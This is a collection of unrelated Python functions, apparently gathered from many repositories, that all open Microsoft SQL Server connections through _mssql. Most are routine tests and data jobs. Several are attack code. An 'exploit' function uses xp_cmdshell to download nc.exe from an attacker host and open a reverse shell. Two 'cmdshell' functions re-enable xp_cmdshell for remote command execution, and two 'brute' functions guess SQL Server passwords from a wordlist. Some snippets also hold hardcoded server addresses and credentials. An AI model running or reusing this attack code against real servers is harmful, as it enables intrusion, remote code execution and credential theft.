def test_repeated_failed_connections(self): # This is a test for https://github.com/pymssql/pymssql/issues/145 # (Repeated failed connections result in error string getting longer # and longer) last_exc_message = None for i in range(5): try: _mssql.connect( server='www.google.com', port=80, user='******', password='******', database='tempdb') except Exception as exc: exc_message = exc.args[0][1] self.assertIn( b'Adaptive Server connection failed', exc_message) if last_exc_message: self.assertEqual(exc_message, last_exc_message) last_exc_message = exc_message
def connect(self): self.log.info("# start # DB Connection Enter {}".format( self.db_config.get("server"))) try: #self.conn = mysql.connector.connect(pool_name = "mypool",pool_size = 3,**self.mysql_config) self.conn = _mssql.connect(**self.db_config) #self.cursor = self.conn.cursor(prepared=True) #self.conn.autocommit = True except TypeError as err: dbconfig = copy.copy(self.db_config) if "got an unexpected keyword argument 'use_legacy_datetime'" in str( err) and "use_legacy_datetime" in dbconfig: self.log.error("### ", exc_info=True) self.log.info( "### delete use_legacy_datetime setting and retry connect ... " ) del dbconfig["use_legacy_datetime"] self.conn = _mssql.connect(**dbconfig) else: self.log.error("error when connect()", exc_info=True) raise except: self.log.error("error when connect()", exc_info=True) raise
def __init__(self, semesterId, yearOfAdmission, isBachelor, scheduleInfoId): super(DatabaseHelper, self).__init__() self._scheduleInfoId = scheduleInfoId self._isBachelor = isBachelor self._semesterId = semesterId self._yearOfAdmission = yearOfAdmission self._courses = {} self._rooms = {} self._professors = {} self._courseClasses = [] self._courseClassesMain = [] self._groupedCourseClasses = {} self._reservations = {} self._studentGroups = [] self._times = {} self._days = {} self._students = {} self.conn = _mssql.connect(server=Constants.SERVER_IP, user=Constants.USER, password=Constants.PASSWORD, database=Constants.DATABASE) self.conn2 = _mssql.connect(server=Constants.SERVER_IP, user=Constants.USER, password=Constants.PASSWORD, database=Constants.DATABASE) self.conn3 = _mssql.connect(server=Constants.SERVER_IP, user=Constants.USER, password=Constants.PASSWORD, database=Constants.DATABASE)
def connect(self, **kwargs): environ['TDSDUMPCONFIG'] = config_dump_path try: _mssql.connect(**kwargs) assert False except _mssql.MSSQLDriverException, e: # we get this when the name of the server is not valid if 'Connection to the database failed' not in str(e): raise
def sql_query(sql,env,err_code): """Execute SQL query statement, return results as list of rows.""" db_result = 0 dbs = env['db_server'] dbu = env['db_user'] dbp = env['db_pswd'] quiet_mode = env['quiet_mode'] query_result = list() try: connection = None connection = _mssql.connect(server=dbs,user=dbu,password=dbp) connection.execute_query(sql) for row in connection: query_result.append(row) except _mssql.MSSQLDatabaseException as e: db_result = err_code message = e.message first_period = message.find('.') message = message[:first_period] if not quiet_mode: print(message) else: sys.stderr.write("[dbss/mssql] {}".format(message)) finally: # note: if credentials refused, connection would be unbound # ... thus, assign to None, and test before closing if connection is not None: connection.close() if not db_result == 0: sys.exit(db_result) else: return query_result
def testErrorSprocThreadedUse(self): mssql = _mssql.connect(server, username, password) mssql.select_db(database) mssql.execute_non_query(""" CREATE PROCEDURE [dbo].[pymssqlErrorThreadTest] AS BEGIN SELECT unknown_column FROM unknown_table; END """) threads = [] for i in xrange(0, 5): thread = SprocTestingErrorThread() thread.start() threads.append(thread) try: running = True while running: running = False for thread in threads: if thread.exc: raise thread.exc if thread.running: running = True break finally: mssql.execute_non_query("DROP PROCEDURE [dbo].[pymssqlThreadTest]") mssql.close()
def make_db_connection(server, port, user, password): return _mssql.connect( server=server, user=user, password=password, port=port )
def sql_command(sql, env, err_code): """Execute SQL command statement.""" db_result = 0 dbs = env['db_server'] dbu = env['db_user'] dbp = env['db_pswd'] quiet_mode = env['quiet_mode'] try: connection = None connection = _mssql.connect(server=dbs, user=dbu, password=dbp) connection.execute_non_query(sql) except _mssql.MSSQLDatabaseException as e: db_result = err_code message = e.message first_period = message.find('.') message = message[:first_period] redundant_msg = message.find('DB-Lib error message') if redundant_msg > 2: message = message[:redundant_msg] if not quiet_mode: print(message) else: sys.stderr.write("[dbss/mssql] {}".format(message)) finally: # note: if credentials refused, connection would be unbound # ... thus, assign to None, and test before closing if connection is not None: connection.close() if not db_result == 0: sys.exit(db_result)
def campana(): reload(sys) sys.setdefaultencoding('utf8') SERVER="192.168.20.63\MV" USER="******" PASSWORD="******" DATABASE="Mirror_UN1002XZCVBN" TABLE_DB = "dbo.Tb_Campanas" HOY = datetime.datetime.today().strftime('%Y-%m-%d') #Nos conectamos a la BD y obtenemos los registros conn = _mssql.connect(server=SERVER, user=USER, password=PASSWORD, database=DATABASE) conn.execute_query('SELECT Id_Campana,Nombre_Campana,Codigo_Campana,Id_UEN,Fecha_Creacion,Estado FROM ' + TABLE_DB ) # conn.execute_query('SELECT Id_Gestion,Id_Causal,Fecha_Seguimiento,Id_Usuario,Valor_Obligacion,Id_Docdeu, Nota FROM ' + TABLE_DB + ' where CAST(Fecha_Seguimiento AS date) >= CAST(' + "'2019-02-01' as DATE) ") cloud_storage_rows = "" # Debido a que los registros en esta tabla pueden tener saltos de linea y punto y comas inmersos for row in conn: text_row = "" text_row += str(row['Id_Campana']).encode('utf-8') + "|" text_row += str(row['Nombre_Campana']).encode('utf-8') + "|" text_row += str(row['Codigo_Campana']).encode('utf-8') + "|" text_row += str(row['Id_UEN']).encode('utf-8') + "|" text_row += str(row['Fecha_Creacion']).encode('utf-8') + "|" text_row += str(row['Estado']).encode('utf-8') + "|" # text_row += str(row['Logo']).encode('utf-8') + "|" text_row += "\n" cloud_storage_rows += text_row conn.close() filename = "campanas/Unificadas_campanas" + ".csv" #Finalizada la carga en local creamos un Bucket con los datos gcscontroller.create_file(filename, cloud_storage_rows, "ct-unificadas") try: deleteQuery = "DELETE FROM `contento-bi.unificadas.Campanas` WHERE 1=1" client = bigquery.Client() query_job = client.query(deleteQuery) query_job.result() except: print("no se pudo eliminar") #Primero eliminamos todos los registros que contengan esa fecha # time.sleep(60) flowAnswer = unificadas_campanas_beam.run() # time.sleep(180) # Poner la ruta en storage cloud en una variable importada para posteriormente eliminarla storage_client = storage.Client() bucket = storage_client.get_bucket('ct-unificadas') blob = bucket.blob("campanas/Unificadas_campanas" + ".csv") # Eliminar el archivo en la variable blob.delete() # return jsonify(flowAnswer), 200 return "Campana cargada" + "flowAnswer"
def open_spider(self, spider): print 'DataPipline open' server = "192.168.168.111" user = "******" password = "******" database = "reportsdb" # connect to database try: #self.connection.set_msghandler(my_msg_handler) # Install our custom handler self.connection = _mssql.connect(server=server, user=user, password=password,database=database) print 'Opened Database' except: print "Connection Failed" print sys.exc_info()[0] raise DropItem("Connect Error") #clear out "scrape" tables try: self.connection.execute_non_query('DELETE FROM SCRAPED_VIDEO_DATA_TAGS') self.connection.execute_non_query('DELETE FROM SCRAPED_VIDEO_DATA') except: print "Failed to Delete from Scrape Tables" print sys.exc_info()[0] raise DropItem("Connect Error")
def get_connection(): conn = _mssql.connect(server=__server, user=__user, password=__password, database='hdbusiness', charset="utf8") return conn
def sql_query(sql, env, err_code): """Execute SQL query statement, return results as list of rows.""" db_result = 0 dbs = env['db_server'] dbu = env['db_user'] dbp = env['db_pswd'] quiet_mode = env['quiet_mode'] query_result = list() try: connection = None connection = _mssql.connect(server=dbs, user=dbu, password=dbp) connection.execute_query(sql) for row in connection: query_result.append(row) except _mssql.MSSQLDatabaseException as e: db_result = err_code message = e.message first_period = message.find('.') message = message[:first_period] if not quiet_mode: print(message) else: sys.stderr.write("[dbss/mssql] {}".format(message)) finally: # note: if credentials refused, connection would be unbound # ... thus, assign to None, and test before closing if connection is not None: connection.close() if not db_result == 0: sys.exit(db_result) else: return query_result
def __enter__(self): self._mssqlconn = _mssql.connect(server=self._connection.server, user=self._connection.uid, password=self._connection.pwd, database=self._connection.database) self._mssqlconn.set_msghandler(_sql_msg_handler) return self
def connect(self, **kwargs): environ['TDSDUMPCONFIG'] = config_dump_path try: _mssql.connect(**kwargs) assert False except _mssql.MSSQLDriverException as e: # we get this when the name of the server is not valid if 'Connection to the database failed' not in str(e): raise except _mssql.MSSQLDatabaseException as e: # we get this when the name or IP can be obtained but the connection # can not be made if e.args[0][0] != 20009: raise with open(config_dump_path, 'rU') as fh: return fh.read()
def test_conn_props_override(self): conn = mssqlconn(conn_properties='SET TEXTSIZE 2147483647') conn.close() conn = mssqlconn(conn_properties='SET TEXTSIZE 2147483647;') conn.close() conn = mssqlconn( conn_properties='SET TEXTSIZE 2147483647;SET ANSI_NULLS ON;') conn.close() conn = mssqlconn( conn_properties='SET TEXTSIZE 2147483647;SET ANSI_NULLS ON') conn.close() conn = mssqlconn(conn_properties='SET TEXTSIZE 2147483647;' 'SET ANSI_NULLS ON;') conn.close() conn = mssqlconn( conn_properties=['SET TEXTSIZE 2147483647;', 'SET ANSI_NULLS ON']) conn.close() self.assertRaises(_mssql.MSSQLDriverException, mssqlconn, conn_properties='BOGUS SQL') conn = _mssql.connect(conn_properties='SET TEXTSIZE 2147483647', server=server, user=username, password=password) conn.close()
def importar(row): conn = _mssql.connect(server=DB_SERVER, user=DB_USERNAME, password=DB_PASSWORD, database=DB_NAME) query = "INSERT INTO Candidatos VALUES('{0}', '{1}', '{2}', '{3}', {4}, '{5}', '{6}', '{7}', '{8}', '{9}', '{10}', '{11}', '{12}', '{13}', '{14}', '{15}', '{16}', '{17}', '{18}', '{19}', '{20}', {21})".format( replace_quote(row['DNI']), replace_quote(row['DEPARTAMENTO AL QUE POSTULA']), replace_quote(row['PROVINCIA AL QUE POSTULA']), replace_quote(row['DISTRITO AL QUE POSTULA']), replace_quote(row['ID_CANDIDATO']), replace_quote(row['NOMBRE COMPLETO']), replace_quote(row['ORGANIZACION POLITICA']), replace_quote(row['CARGO AL QUE POSTULA']), replace_quote(row['DESIGNACION']), replace_quote(row['APELLIDO PATERNO']), replace_quote(row['APELLIDO MATERNO']), replace_quote(row['SEXO']), replace_quote(row['CORREO ELECTRONICO']), replace_quote(row['DEPARTAMENTO DE NACIMIENTO']), replace_quote(row['PROVINCIA DE NACIMIENTO']), replace_quote(row['DISTRITO DE NACIMIENTO']), replace_quote(row['FECHA DE NACIMIENTO']), replace_quote(row['DEPARTAMENTO DE RESIDENCIA']), replace_quote(row['PROVINCIA DE RESIDENCIA']), replace_quote(row['DISTRITO DE RESIDENCIA']), replace_quote(row['LUGAR DE RESIDENCIA']), replace_empty(row['TIEMPO DE RESIDENCIA'])) conn.execute_non_query(query) conn.close()
def cmdshell(ipaddr,port,username,password,option): # connect to SQL server mssql = _mssql.connect(ipaddr + ":" + str(port), username, password) setcore.print_status("Connection established with SQL Server...") setcore.print_status("Attempting to re-enable xp_cmdshell if disabled...") try: mssql.execute_query("EXEC master.dbo.sp_configure 'show advanced options', 1") mssql.execute_query("RECONFIGURE") mssql.execute_query("EXEC master.dbo.sp_configure 'xp_cmdshell', 1") mssql.execute_query("RECONFIGURE") except Exception, e: pass setcore.print_status("Enter your Windows Shell commands in the xp_cmdshell - prompt...") mssql.select_db('master') while 1: # cmdshell command cmd = raw_input("xp_cmdshell> ") # exit if we want if cmd == "quit" or cmd == "exit": break mssql.execute_query("xp_cmdshell '%s'" % (cmd)) if cmd != "": for line in mssql: # formatting for mssql output line = str(line) line = line.replace("', 'output': '", "\n") line = line.replace("{0: '", "") line = line.replace("'}", "") line = line.replace("{0: None, 'output': None}", "") line = line.replace("\\r", "") line = line.replace("The command completed with one or more errors.", "") print line
def mssqlconn(conn_properties=None): return _mssql.connect(server=config.server, user=config.user, password=config.password, database=config.database, port=config.port, conn_properties=conn_properties)
def mssqlconn(): return _mssql.connect(server=config.server, user=config.user, password=config.password, database=config.database, port=config.port, charset='UTF-8')
def CalcUsingSQLserver(): import _mssql print "enter the sde password to your sql server instance:" conn = _mssql.connect(server='dt00ar65\gdb_dev', user='******', password="******", database='KHUB_i2') querystring1 = """ update [sde].[STATE_SYSTEM_CALIBRATED] set [Exor_Beg_MP] = m.[MEAS_COUNTY] from [sde].[STATE_SYSTEM_CALIBRATED] r JOIN (select distinct [GCID], [COUNTY_LRS], [MEAS_COUNTY], [CountyKey2] from [sde].[START_COUNTY] where 1=1 and substring([COUNTY_LRS],0,12) =substring([CountyKey2],0,12)) m on r.[GCID] = m.[GCID] where 1=1 update [sde].[STATE_SYSTEM_CALIBRATED] set [EXOR_End_Mp] = m.[MEAS_COUNTY] from [sde].[STATE_SYSTEM_CALIBRATED] r JOIN (select distinct [COUNTY_LRS], [MEAS_COUNTY], [GCID], [CountyKey2] from [sde].[END_COUNTY] where 1=1 and substring([COUNTY_LRS],0,12) = substring([CountyKey2],0,12)) m on r.[GCID] = m.[GCID] where 1=1 """ conn.execute_query(querystring1) conn.close
def exploit(): time.sleep(5) mssql = None try: mssql = _mssql.connect(server=HOST, user=USERNAME, password=PASSWORD) print( "[+] Successful login at mssql server %s with username %s and password %s" % (HOST, USERNAME, PASSWORD)) cmd = 'certutil.exe -urlcache -split -f http://%s:8000/nc.exe' % LHOST mssql.execute_query("xp_cmdshell '%s'" % cmd) time.sleep(2) cmd = 'rename Blob0_0.bin nc.exe' mssql.execute_query("xp_cmdshell '%s'" % cmd) time.sleep(2) cmd = 'nc.exe %s %s -e c:\windows\system32\cmd.exe' % (LHOST, LPORT) mssql.execute_query("xp_cmdshell '%s'" % cmd) except Exception as e: print("[-] MSSQL failed: " + str(e)) finally: if mssql: mssql.close()
def CalcUsingSQLserver(): import _mssql print "enter the sde password to your sql server instance:" conn = _mssql.connect(server = 'dt00ar65\gdb_dev', user = '******', password = "******", database = 'KHUB_i2') querystring1 = """ update [sde].[STATE_SYSTEM_CALIBRATED] set [Exor_Beg_MP] = m.[MEAS_COUNTY] from [sde].[STATE_SYSTEM_CALIBRATED] r JOIN (select distinct [GCID], [COUNTY_LRS], [MEAS_COUNTY], [CountyKey2] from [sde].[START_COUNTY] where 1=1 and substring([COUNTY_LRS],0,12) =substring([CountyKey2],0,12)) m on r.[GCID] = m.[GCID] where 1=1 update [sde].[STATE_SYSTEM_CALIBRATED] set [EXOR_End_Mp] = m.[MEAS_COUNTY] from [sde].[STATE_SYSTEM_CALIBRATED] r JOIN (select distinct [COUNTY_LRS], [MEAS_COUNTY], [GCID], [CountyKey2] from [sde].[END_COUNTY] where 1=1 and substring([COUNTY_LRS],0,12) = substring([CountyKey2],0,12)) m on r.[GCID] = m.[GCID] where 1=1 """ conn.execute_query(querystring1) conn.close
def test_conn_props_override(self): conn = mssqlconn(conn_properties='SET TEXTSIZE 2147483647') conn.close() conn = mssqlconn(conn_properties='SET TEXTSIZE 2147483647;') conn.close() conn = mssqlconn(conn_properties='SET TEXTSIZE 2147483647;SET ANSI_NULLS ON;') conn.close() conn = mssqlconn(conn_properties='SET TEXTSIZE 2147483647;SET ANSI_NULLS ON') conn.close() conn = mssqlconn(conn_properties='SET TEXTSIZE 2147483647;' 'SET ANSI_NULLS ON;') conn.close() conn = mssqlconn(conn_properties=['SET TEXTSIZE 2147483647;', 'SET ANSI_NULLS ON']) conn.close() self.assertRaises(_mssql.MSSQLDriverException, mssqlconn, conn_properties='BOGUS SQL') conn = _mssql.connect( conn_properties='SET TEXTSIZE 2147483647', server=server, user=username, password=password ) conn.close()
def __init__(self, numberOfChromosomes, replaceByGeneration, trackBest, prototype, scheduleInfoId): super(Algorithm, self).__init__() self.conn = _mssql.connect(server=Constants.SERVER_IP, user=Constants.USER, password=Constants.PASSWORD, database=Constants.DATABASE) self._scheduleInfoId = scheduleInfoId self._chromosomes = [] self._bestFlags = [] self._bestChromosomes = [] self._currentBestSize = 0 self._replaceByGeneration = replaceByGeneration self._prototype = prototype self._currentGeneration = 0 self.thread = threading.currentThread() if numberOfChromosomes < 2: numberOfChromosomes = 2 if trackBest < 1: trackBest = 1 if self._replaceByGeneration < 1: self._replaceByGeneration = 1 elif self._replaceByGeneration > numberOfChromosomes - trackBest: self._replaceByGeneration = numberOfChromosomes - trackBest self._chromosomes = [None] * numberOfChromosomes self._bestFlags = [False] * numberOfChromosomes self._bestChromosomes = [None] * trackBest
def importar(row): conn = _mssql.connect(server='s10.winhost.com:1433', user='******', password='******', database='DB_76507_ventanita') query = "INSERT INTO Candidatos VALUES('{0}', '{1}', '{2}', '{3}', {4}, '{5}', '{6}', '{7}', '{8}', '{9}', '{10}', '{11}', '{12}', '{13}', '{14}', '{15}', '{16}', '{17}', '{18}', '{19}', '{20}', {21})".format( replace_quote(row['DNI']), replace_quote(row['DEPARTAMENTO AL QUE POSTULA']), replace_quote(row['PROVINCIA AL QUE POSTULA']), replace_quote(row['DISTRITO AL QUE POSTULA']), replace_quote(row['ID_CANDIDATO']), replace_quote(row['NOMBRE COMPLETO']), replace_quote(row['ORGANIZACION POLITICA']), replace_quote(row['CARGO AL QUE POSTULA']), replace_quote(row['DESIGNACION']), replace_quote(row['APELLIDO PATERNO']), replace_quote(row['APELLIDO MATERNO']), replace_quote(row['SEXO']), replace_quote(row['CORREO ELECTRONICO']), replace_quote(row['DEPARTAMENTO DE NACIMIENTO']), replace_quote(row['PROVINCIA DE NACIMIENTO']), replace_quote(row['DISTRITO DE NACIMIENTO']), replace_quote(row['FECHA DE NACIMIENTO']), replace_quote(row['DEPARTAMENTO DE RESIDENCIA']), replace_quote(row['PROVINCIA DE RESIDENCIA']), replace_quote(row['DISTRITO DE RESIDENCIA']), replace_quote(row['LUGAR DE RESIDENCIA']), replace_empty(row['TIEMPO DE RESIDENCIA'])) conn.execute_non_query(query) conn.close()
def sql_command(sql,env,err_code): """Execute SQL command statement.""" db_result = 0 dbs = env['db_server'] dbu = env['db_user'] dbp = env['db_pswd'] quiet_mode = env['quiet_mode'] try: connection = None connection = _mssql.connect(server=dbs,user=dbu,password=dbp) connection.execute_non_query(sql) except _mssql.MSSQLDatabaseException as e: db_result = err_code message = e.message first_period = message.find('.') message = message[:first_period] redundant_msg = message.find('DB-Lib error message') if redundant_msg > 2: message = message[:redundant_msg] if not quiet_mode: print(message) else: sys.stderr.write("[dbss/mssql] {}".format(message)) finally: # note: if credentials refused, connection would be unbound # ... thus, assign to None, and test before closing if connection is not None: connection.close() if not db_result == 0: sys.exit(db_result)
def connect(self, **kwargs): environ['TDSDUMPCONFIG'] = config_dump_path try: _mssql.connect(**kwargs) assert False except _mssql.MSSQLDriverException as e: # we get this when the name of the server is not valid if 'Connection to the database failed' not in str(e): raise except _mssql.MSSQLDatabaseException as e: # we get this when the name or IP can be obtained but the connection # can not be made if e.args[0][0] != 20009: raise with open(config_dump_path, 'rb') as fh: return fh.read()
def __init__( self, configuration, binding_name, connect_name ): logging.debug( 'Initializing a Consumer Thread' ) # Rejected full Configuration self.config = configuration # Binding to make code more readable binding = self.config['Bindings'][binding_name] self.binding = binding # Initialize object wide variables self.auto_ack = binding['consumers']['auto_ack'] self.binding_name = binding_name if binding.has_key('compressed'): self.compressed = binding['compressed'] else: self.compressed = False self.connect_name = connect_name self.connection = None self.errors = 0 self.interval_count = 0 self.interval_start = None self.locked = False self.monitor_port = None self.max_errors = binding['consumers']['max_errors'] self.messages_processed = 0 self.error_queue = binding['consumers']['error_queue'] self.use_error_queue = binding['consumers']['use_error_queue'] self.requeue_on_error = binding['consumers']['requeue_on_error'] self.running = True self.queue_name = None self.mssql_conn = None # If we have throttle config use it self.throttle = False self.throttle_count = 0 self.throttle_duration = 0 if binding['consumers'].has_key('throttle'): logging.debug( 'Setting message throttle to %i message(s) per second' % binding['consumers']['throttle'] ) self.throttle = True self.throttle_threshold = binding['consumers']['throttle'] # check for mssql connection and connect mssql_server = str(binding['mssqlserver']) mssql_user = str(binding['mssqluser']) mssql_password = str(binding['mssqlpassword']) mssql_database = str(binding['mssqldatabase']) if mssql_server != "": try: self.mssql_conn = _mssql.connect(server=mssql_server, user=mssql_user, password=mssql_password, database=mssql_database) except: e = sys.exc_info()[1] logging.error('Error connecting to mssql database: %s' % e) # Init the Thread Object itself threading.Thread.__init__(self)
def mssqlconn(): return _mssql.connect( server=config.server, user=config.user, password=config.password, database=config.database, port=config.port, )
def get_conn(): conn = _mssql.connect( server=config.database['mssql']['host'], user=config.database['mssql']['user'], password=config.database['mssql']['password'], database=config.database['mssql']['database'], ) return conn
def get_devices_by_serial(self, serial): with _mssql.connect(**self._conn_kwargs) as conn: conn.execute_query(DEVICES_FOR_USER.format("WHERE A2.SERIALNUM = %s"), serial) devices = self._get_devices_by_email(conn) if len(devices) == 0: raise stethoscope.api.exceptions.DeviceNotFoundException("serial: '{!s}'".format(serial), 'landesk') return devices
def get_MssqlConn(): conn = _mssql.connect(server=Constants.KGGROUP_DB_SERVER, port=Constants.KGGROUP_DB_PORT, user=Constants.KGGROUP_DB_USER, password=Constants.KGGROUP_DB_PASSWORD, database=Constants.KGGROUP_DB_DATABASE, charset='utf8') return conn
def get_MssqlConn(): conn = _mssql.connect(server=Constants.SCM_DB_SERVER, port=Constants.SCM_DB_PORT, user=Constants.SCM_DB_USER, password=Constants.SCM_DB_PASSWORD, database=Constants.SCM_DB_DATABASE, charset='utf8') return conn
def get_information_scheme(table_name): import _mssql conn = _mssql.connect(server='192.168.0.114', user='******', password='******', database='jonathan') conn.execute_query('SELECT * FROM INFORMATION_SCHEMA.TA') for row in conn: print(row)
def get_conn_mssql(self): """ 初始化连接器 """ return _mssql.connect(server=self.host, user=self.user, password=self.password, database=self.database)
def brute(ipaddr, username, port, wordlist): # if ipaddr being passed is invalid if ipaddr == "": return False if ":" in ipaddr: ipaddr = ipaddr.split(":") ipaddr, port = ipaddr ipaddr = str(ipaddr) port = str(port) # base counter for successful brute force counter = 0 # build in quick wordlist if wordlist == "default": wordlist = "src/fasttrack/wordlist.txt" # read in the file successful_password = None with open(wordlist) as passwordlist: for password in passwordlist: password = password.rstrip() # try actual password try: # connect to the sql server and attempt a password print("Attempting to brute force {bold}{ipaddr}:{port}{endc}" " with username of {bold}{username}{endc}" " and password of {bold}{passwords}{endc}".format(ipaddr=ipaddr, username=username, passwords=password, port=port, bold=core.bcolors.BOLD, endc=core.bcolors.ENDC)) target_server = _mssql.connect("{0}:{1}".format(ipaddr, port), username, password) if target_server: core.print_status("\nSuccessful login with username {0} and password: {1}".format(username, password)) counter = 1 successful_password = password break # if login failed or unavailable server except: pass # if we brute forced a machine if counter == 1: return ",".join([ipaddr, username, port, successful_password]) # else we didnt and we need to return a false else: if ipaddr: core.print_warning("Unable to guess the SQL password for {0} with username of {1}".format(ipaddr, username)) return False
def brute(ipaddr, username, port, wordlist): # if ipaddr being passed is invalid if ipaddr == "": return False if ipaddr != "": # base counter for successful brute force counter = 0 # build in quick wordlist if wordlist == "default": wordlist = "src/fasttrack/wordlist.txt" # read in the file password = open(wordlist, "r") for passwords in password: passwords = passwords.rstrip() # try actual password try: # connect to the sql server and attempt a password if ":" in ipaddr: ipaddr = ipaddr.split(":") port = ipaddr[1] ipaddr = ipaddr[0] ipaddr = str(ipaddr) port = str(port) print("Attempting to brute force " + bcolors.BOLD + ipaddr + ":" + port + bcolors.ENDC + " with username of " + bcolors.BOLD + username + bcolors.ENDC + " and password of " + bcolors.BOLD + passwords + bcolors.ENDC) # connect to the sql server and attempt a password if ":" in ipaddr: ipaddr = ipaddr.split(":") port = ipaddr[1] ipaddr = ipaddr[0] target_server = _mssql.connect(ipaddr + ":" + str(port), username, passwords) if target_server: print_status("\nSuccessful login with username %s and password: %s" % ( username, passwords)) counter = 1 break # if login failed or unavailable server except Exception as e: pass # if we brute forced a machine if counter == 1: if ":" in ipaddr: ipaddr = ipaddr.split(":") ipaddr = ipaddr[0] return ipaddr + "," + username + "," + str(port) + "," + passwords # else we didnt and we need to return a false else: if ipaddr != '': print_warning("Unable to guess the SQL password for %s with username of %s" % ( ipaddr, username)) return False
def get_db_size(db_user, db_password, db_server, db_port, db_name): conn = _mssql.connect(server=db_server, user=db_user, password=db_password, database=db_name, port=str(db_port)) #conn.execute_query("USE " + db_name + "; EXEC sp_spaceused;") size = conn.execute_query("USE " + db_name + "; EXEC sp_spaceused;") res1 = [row for row in conn] # 1st result res2 = [row for row in conn] # 2nd result conn.close() return int(float(res1[0]['database_size'].split(' ')[0]))
def mssqlconn(): """Get _mssql connection object""" return _mssql.connect( server=OPTIONS.get('db', 'server'), user=OPTIONS.get('db', 'user'), password=OPTIONS.get('db', 'password'), database=OPTIONS.get('db', 'database'), port=OPTIONS.getint('db', 'port'), )
def get_db_busy(db_user, db_password, db_server, db_port, db_name): conn = _mssql.connect(server=db_server, user=db_user, password=db_password, database=db_name, port=str(db_port)) res = conn.execute_row( "SELECT * FROM sys.dm_exec_requests WHERE command='DELETE';") if res == None: return 0 else: return 1
def mssqlconn(conn_properties=None): return _mssql.connect( server=config.server, user=config.user, password=config.password, database=config.database, port=config.port, conn_properties=conn_properties )
def recreateXMLDB(self): try: # print 'Deletes existing EPRTRxml database!' conn = _mssql.connect(server=self.conf.sp['server'], user=self.conf.sp['user'], password=self.conf.sp['passw'], database='') _sql = "IF DB_ID('{0}') IS NOT NULL BEGIN ALTER DATABASE {0} SET SINGLE_USER WITH ROLLBACK IMMEDIATE; DROP DATABASE {0}; END;".format( self.conf.xmldb['name']) conn.execute_non_query(_sql) print 'Creates new EPRTRxml database!' conn.execute_non_query( "CREATE DATABASE {0} COLLATE Latin1_General_CI_AS;".format( self.conf.xmldb['name'])) conn.close() conn = _mssql.connect(server=self.conf.sp['server'], user=self.conf.sp['user'], password=self.conf.sp['passw'], database=self.conf.xmldb['name']) _lst = list(self.conf.xmldb['files']) for _fls in _lst: if not self.readSqlFile(conn, os.path.join(self.conf.sqlpath, _fls)): return 0 # print 'The sql file %s was executed successfully!' % _fls# #REM Create database structure: #SET SQLCMDDBNAME=EPRTRxml #sqlcmd -i %basedir%\CreateTables_EPRTRxml.sql #sqlcmd -i %basedir%\CreateReferences_EPRTRxml.sql #sqlcmd -i %basedir%\Add_aux_cols_4_xmlimport.sql #sqlcmd -i %basedir%\SP_FindPreviousReferences.sql #sqlcmd -i %basedir%\copyXMLdata2EPRTR.sql #sqlcmd -i %basedir%\EPRTRXML_validate_procedure.sql print 'EPRTRxml database now recreated' return 1 except _mssql.MssqlDatabaseException, e: messages = 'MssqlDatabaseException raised\n' messages += ' message: %s\n' % e.message messages += ' number: %s\n' % e.number messages += ' severity: %s\n' % e.severity messages += ' state: %s\n' % e.state print messages return 0
def generateRooms(building_id, type, room_number, capacity, floor, count): conn = _mssql.connect(server='212.19.138.133', user='******', password='******', database='KazNITU_Test') for i in range(count): conn.execute_non_query( "INSERT INTO Edu_Rooms (BuildingID, TypeID, Title, Capacity, Floor, Active) VALUES(%d, %d, %d, %d, %d, 1)", (building_id, type, room_number, capacity, floor)) room_number += 1
def connect_curse(self): try: self.connection = msql.connect(server=self.sqlserver_input.text(),user=self.username_input.text()\ ,password=self.password_input.text(),database='SnowLicenseManager') self.is_connected = True self.set_success_connected() except Exception as e: print(e) self.set_not_connected()
def try_login(server, user, password): try: conn = _mssql.connect(server=server, user=user, password=password) if conn.connected: conn.close() return True else: return False except: return False
def connect(self): """ Create a SQL Server connection and return a connection object """ connection = _mssql.connect(user=self.user, password=self.password, server=self.host, port=self.port, database=self.database) return connection
def setDateRange(dec): #dec = dec %(sys.argv[1], sys.argv[2]) #print("date string is: %s" % dec) dbServer = 'FCPDB02.fcproduction.local' dbDatabase = 'firstcoverage' dbUser = '******' dbPwd = 'RamyAbdelAzim' mssql=_mssql.connect(dbServer,dbUser,dbPwd) mssql.select_db(dbDatabase) ## startdate = '\'%s\'' % sys.argv[1] ## enddate = '\'%s\'' % sys.argv[2] ## firms = sys.argv[3:] ## sqlParameters = '%s, %s,' % (startdate, enddate) ## ## for firm in firms: ## if firm == firms[len(firms)-1]: ## firmsString = '%s%s' % (firmsString, firm) ## else: ## firmsString = '%s%s,' % (firmsString, firm) ## firmsString += '\'' ## ## sqlParameters = '%s%s' % (sqlParameters, firmsString) ## ## run = '%s %s' % (proc, sqlParameters) ## ## print run f = open('C:\PythonScripts\GetAllPayingClients.sql', 'r') run = f.read() mssql.query(run) results = mssql.fetch_array() headerList = [] for k in results[0][0]: headerList.append(k[0]) time = datetime.datetime.now() stamp = time.timetuple() appendage = '%s%s%s' %(stamp[0],stamp[1],stamp[2]) remotefile = '\\\\fcpstorage01.fcproduction.local/reporting/CSVs/NullReturns%s.csv'\ %(appendage) f = open(remotefile, 'wt') try: writer = csv.writer(f) writer.writerow(headerList) for row in results[0][2]: writer.writerow( row ) finally: f.close()
def cmdshell(ipaddr, port, username, password, option): # connect to SQL server mssql = _mssql.connect(ipaddr + ":" + str(port), username, password) setcore.PrintStatus("Connection established with SQL Server...") setcore.PrintStatus("Attempting to re-enable xp_cmdshell if disabled...") try: mssql.execute_query( "EXEC sp_configure 'show advanced options', 1;GO;RECONFIGURE;GO;EXEC sp_configure 'xp_cmdshell', 1;GO;RECONFIGURE;GO;" ) mssql.execute_query("RECONFIGURE;") except Exception, e: pass
def ExecuteQuery(self, query: str) -> bool: """ Execute a query given to this function. the query is used on the current database connection returns true if the query completed successfully. """ # connect with the database. print("making connection to the database") self.connection = _mssql.connect(server=self.serverAddress, user=self.username, password=self.password, database=self.DatabaseName) self.connection.execute_query(query) self.connection.commit()
def read_sql(): reslst = [] try: conn = _mssql.connect(server=sqlsrv, user=sqluser, password=sqlpass, \ database=sqldb, charset=sqlenc) conn.execute_query(sqlquery) for row in conn: reslst.append([(row[0] + timedelta(hours=utcOffset)), row[1]]) except _mssql.MssqlDatabaseException,e: print 'connection error number=', e, ', severity=', e.severity
